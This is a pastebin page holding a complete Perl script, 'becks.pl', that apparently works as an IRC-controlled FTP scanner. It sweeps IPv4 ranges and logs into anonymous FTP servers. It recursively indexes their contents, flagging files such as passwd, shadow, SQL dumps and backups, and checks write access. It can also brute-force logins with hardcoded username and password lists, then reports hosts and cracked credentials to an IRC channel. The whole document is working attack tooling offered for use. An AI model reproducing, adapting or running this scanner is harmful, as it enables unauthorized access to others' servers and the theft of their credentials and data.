FTP Scaner PRL


SUBMITTED BY: Guest

DATE: June 30, 2015, 10:12 p.m.

FORMAT: Perl

SIZE: 10.9 kB

HITS: 683

  1. #!/usr/bin/perl
  2. #
  3. # Hollow Chocolate Bunnies From Hell
  4. # presenting
  5. # becks.pl - FTP scanner by softxor
  6. # Version 0.9
  7. #
  8. #
  9. # becks.pl is an IRC bot that scans for anonymous FTP servers or FTP's witth easy to break
  10. # password protection and posts the contents (if anonymous login) or the login data to a specific Channel
  11. #
  12. # usage: ./ftp_scan 132.311.0.0
  13. #
  14. # Greets fly out to: rembrandt, kamooo, evil, zera, litestar, #milw0rm
  15. #
  16. # Contact:
  17. # - WWW: http://bunnies.rootyourbox.org/
  18. # - MAIL: insertnamehere at gmx dot de
  19. # - IRC: #hcbfh @ irc.milw0rm.com
  20. #
  21. # NOTE: This bot has been written just for fun. If you can't get it running, it's better that way.
  22. #
  23. # Yet to come:
  24. # extern pass/userfile
  25. use strict;
  26. use warnings;
  27. use Net::FTP;
  28. #################################
  29. # Global Configuration #
  30. #################################
  31. my %config = (max_childs => 40, # Maximal parallel process (recomended up to 100)
  32. logging => 1, # If 1, then enable logging
  33. use_brute_force => 0, # If 0, then scans only for anonymous ftps
  34. indexing => 1, # If 1, creates for every accessed ftp a file with the contents of that ftpd
  35. anon_email => 'bleh@blah.co.uk', # Email Address to use in anonymous checking
  36. timeout => 1, # Connection timeout in seconds
  37. passfile => '', # Missing/not implemented in this version
  38. userfile => ''); # Missing/not implemented in this version
  39. #################################
  40. # IRC settings #
  41. #################################
  42. my %irc = (enabled => 1, # 1 for enable IRC bot
  43. server => 'IRC.YourServer.COm',
  44. port => 6667,
  45. nickname => 'FTP-747',
  46. username => 'ftpbot ftpbot ftbot ftpbot', # Yes it has to be four times
  47. channel => '#Channel',
  48. nickserv => ''); # Nickserv password
  49. #################################
  50. # Data for brute forcing attack #
  51. #################################
  52. my @usernames = qw(Administrator upload admin web webmaster user root ftp test asd asdf test test1 test123);
  53. my @passwords = qw(password qwertz asdf test test123 1234 1111 12 345678 4321 12345678 123456 secret letmein upload pass support passwort god love 007 admin knight wizard letmein test administrator root web webmaster ftp);
  54. # Global declarations
  55. my $childs = 0;
  56. # Mirc colors
  57. my %colors = (white => "\x030",
  58. red => "\x034",
  59. green => "\x033",
  60. gray => "\x0314",
  61. yellow=> "\x038",
  62. blue => "\x0312",
  63. cyan => "\x0311",
  64. orange=> "\x0307");
  65. # Parse teh argument!
  66. my($ipa, $ipb, $ipc, $ipd) = ($ARGV[0] =~ m/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/) or die("Append start IP.\n");
  67. &main();
  68. exit();
  69. sub main {
  70. # Start IRC notifying process
  71. if ($irc{'enabled'} == 1) {
  72. pipe(IN, OUT) || die "Can't create pipe....\n";
  73. OUT->autoflush(1);
  74. IN->autoflush(1);
  75. if (!fork) {
  76. &irc_notify();
  77. } else {
  78. close IN;
  79. }
  80. sleep(30); # needed to let the IRC process join the channel
  81. }
  82. close IN;
  83. print "Start scanning...\nBe patient.\n";
  84. my $OUTPUT_AUTOFLUSH = 1; # To avoid buffering problems with fork()
  85. # loop through IPs
  86. while (1) {
  87. for my $a ($ipa..255) {
  88. if ($a == 10 || $a == 198 || $a == 127 || $a == 0 || $a == 172 || $a == 1) {
  89. next;
  90. }
  91. for my $b ($ipb..255) {
  92. for my $c ($ipc..255) {
  93. for my $d ($ipd..255) {
  94. if (fork() == 0) {
  95. #print "$a.$b.$c.$d\n"; # Uncomment for verbose output
  96. &scan("$a.$b.$c.$d");
  97. exit;
  98. } else {
  99. $childs++;
  100. if ($childs >= $config{'max_childs'}) {
  101. wait();
  102. $childs--;
  103. }
  104. }
  105. } # end $d
  106. } # end $c
  107. } # end $b
  108. } #end $a
  109. } # end while
  110. } #end main()
  111. # gets the content of a dir by recursion
  112. sub get_dir {
  113. my ($cur_dir, $ftp) = @_;
  114. my ($content, @found_files, $write, @dirs);
  115. $content = ''; # needed
  116. my %data_types = (mpg => 'Video',
  117. avi => 'Video',
  118. xvid=> 'DivX',
  119. divx=> 'DivX',
  120. mp3 => 'Music',
  121. ogg => 'Music',
  122. sql => 'MySQL',
  123. xxx => 'Pr0n',
  124. pdf => 'Pdf',
  125. jpg => 'Pictures',
  126. gif => 'Pictures',
  127. zip => 'Zip',
  128. ace => 'Ace',
  129. rar => 'Rar',
  130. exe => 'Exe',
  131. txt => 'Txt',
  132. passwd => 'passwd',
  133. shadow => 'shadow',
  134. htm => 'HTML',
  135. mdb => 'AccessDB',
  136. bak => 'Backup',
  137. xls => 'Excel Sheet');
  138. $ftp->cwd($cur_dir);
  139. my @files = $ftp->dir;
  140. if ($cur_dir eq '/') {
  141. $write = &test_write($ftp);
  142. }
  143. # $_ isnt working here, because of validity conflicts :(
  144. foreach my $file (@files) {
  145. if ($file eq '.' || $file eq '..') {
  146. next;
  147. }
  148. if ($file =~ m/^d[rwx-].*\d\s(.*?)$/) {
  149. push (@dirs, $1);
  150. } else {
  151. # find interesting content
  152. foreach my $type (keys %data_types) {
  153. if ($file =~ m/$type$/gi) {
  154. push (@found_files, $data_types{$type});
  155. }
  156. }
  157. }
  158. } # end for each
  159. while(my $cur = pop(@dirs)) {
  160. if ($cur_dir eq '/') {
  161. $content .= &get_dir('/'.$cur, $ftp);
  162. } else {
  163. $content .= &get_dir($cur_dir.'/'.$cur, $ftp);
  164. }
  165. }
  166. @found_files = &del_double(@found_files);
  167. foreach my $files (@found_files) {
  168. $content .= $files.' ';
  169. }
  170. if ($write) {
  171. $content .= "$colors{'red'}Write-Enabled";
  172. }
  173. return $content;
  174. }
  175. sub scan {
  176. my ($host) = @_;
  177. my $ftp = Net::FTP->new($host,Timeout=>$config{'timeout'}) or return;
  178. # grab banner
  179. my $banner = $ftp->message;
  180. $banner =~ s/\n/ /g;
  181. # Anonymous checker
  182. if ($ftp->login('anonymous', $config{'anon_email'})) {
  183. if ($config{'logging'}) {
  184. open(LOG, ">anonymous.log");
  185. } else {
  186. open(LOG, '>-');
  187. }
  188. if ($config{'indexing'}) {
  189. my $content = &get_dir("/", $ftp);
  190. if($irc{'enabled'}) {
  191. if ($content ne '') {
  192. print OUT "$colors{'white'}Anonymous FTP: $colors{'orange'}ftp://$host/ $colors{'white'}Content: $colors{'yellow'}$content$colors{'white'}Banner: $colors{'orange'}$banner\n";
  193. } else {
  194. print OUT "$colors{'white'}Anonymous FTP: $colors{'orange'}ftp://$host/ $colors{'white'}Banner: $colors{'orange'}$banner\n";
  195. }
  196. } #end irc
  197. print LOG "ftp://$host/ Content: $content Banner: $banner\n"
  198. } else {
  199. if($irc{'enabled'}) {
  200. print OUT "$colors{'white'}Anonymous FTP: ftp://$host/ Banner: $colors{'orange'}$banner\n";
  201. }
  202. print LOG "ftp://$host/ Banner: $banner\n"
  203. }
  204. close(LOG);
  205. $ftp->quit;
  206. return;
  207. } # end anonymous
  208. # if you're not willing, you'll never grow old!
  209. if ($config{'use_brute_force'}) {
  210. foreach my $user (@usernames) {
  211. foreach my $pass (@passwords) {
  212. if($ftp->login($user, $pass)) {
  213. if ($config{'logging'}) {
  214. open(LOG, ">protected.log");
  215. } else {
  216. open(LOG, '>-');
  217. }
  218. if($irc{'enabled'}) {
  219. print OUT "$colors{'red'}ftp://$user:$pass\@$host/ $colors{'white'}banner: $colors{'orange'}$banner\n";
  220. }
  221. print LOG "ftp://$user:$pass\@$host/\n";
  222. close(LOG);
  223. $ftp->quit;
  224. return;
  225. } else {
  226. next;
  227. }
  228. }
  229. }
  230. } # end brute force
  231. return;
  232. }
  233. # paste incoming ftps on the irc channel
  234. sub irc_notify {
  235. print "Staring IRC client\n";
  236. close OUT;
  237. my $con = IO::Socket::INET->new(PeerAddr=>$irc{'server'},
  238. PeerPort=>$irc{'port'},
  239. Proto=>'tcp',
  240. Timeout=>'30') or die("Error: IRC handler cannot connect\n");
  241. if(fork) {
  242. # waiting for new ftps, to give them out
  243. while (my $answer = <$con>) {
  244. if($answer =~ m/^PING \:(.*?)$/gi) {
  245. print $con "PONG :".$1."\n";
  246. }
  247. }
  248. }
  249. print $con "USER $irc{'username'}\r\n";
  250. print $con "NICK $irc{'nickname'}\r\n";
  251. sleep(5);
  252. print $con "JOIN $irc{'channel'}\r\n";
  253. print "IRC client is running.\n";
  254. if ($irc{'nickserv'}) {
  255. print $con "privmsg nickserv IDENTIFY $irc{'nickserv'}\r\n";
  256. }
  257. # make sure we dont ping out
  258. while (my $ftp = <IN>) {
  259. print $con "privmsg $irc{'channel'} :$ftp\r\n";
  260. }
  261. close $con;
  262. }
  263. # test if ftp is write enabled
  264. # return 1 if writing is allowed,
  265. # 0 if permitted
  266. sub test_write {
  267. my $ftp = $_[0];
  268. if ($ftp->mkdir("test")) {
  269. $ftp->rmdir("test"); # we want to be 'polite' ;)
  270. return 1;
  271. }
  272. return 0;
  273. }
  274. # deletes double entries in an array
  275. sub del_double {
  276. my %all;
  277. grep { $all {$_} = 0} @_;
  278. return (keys %all);
  279. }

comments powered by Disqus